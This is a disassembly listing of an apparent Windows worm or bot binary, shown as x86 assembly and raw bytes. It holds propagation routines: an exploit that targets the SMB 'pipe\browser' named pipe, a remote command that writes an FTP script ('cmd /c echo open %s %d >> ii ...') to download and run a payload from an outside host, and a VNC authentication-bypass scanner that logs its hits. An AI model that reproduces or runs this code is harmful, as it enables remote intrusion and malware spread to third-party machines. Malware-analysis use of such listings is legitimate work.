loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0BCh	; ¼
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  44h	; D
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  28h	; (
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 2710A21h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43221C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432208
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2670999h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321B0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDC9C
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_4321FF+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321A4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321AC[esi]
		push	7
		add	eax, edi
		push	offset dword_432198
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432038
		push	eax
		call	sub_41C310
		mov	eax, dword_4321A8[esi]
		add	esp, 30h
		cmp	byte_4321B0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDC94
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321C8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321C8

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 2670999h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		nop
		call	near ptr 27008EDh
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2710000h
		test	eax, eax
		jnz	short loc_40DE4F
		nop
		call	near ptr 2690800h
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2690F46h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db 0E8h	; è
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db 0E8h	; è
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0B0h	; °
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  50h	; P
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; è
		db  8Ch	; Œ
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db 0E7h	; ç
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 0E8000007h, 228202Ch, 0FB834390h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACB0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43140Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFB4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAF74
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322C4
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		call	near ptr 71AB1A6Dh
		nop

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431410[eax]
		lea	eax, dword_431410[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAF8C
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433508
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CAFF4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFB4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAF74
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF1C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB00C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE2C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409A72
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_4151AC
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431410[eax]
		push	ebx
		lea	eax, dword_431410[eax]
		call	near ptr 71AB1A6Dh
		nop
		push	1
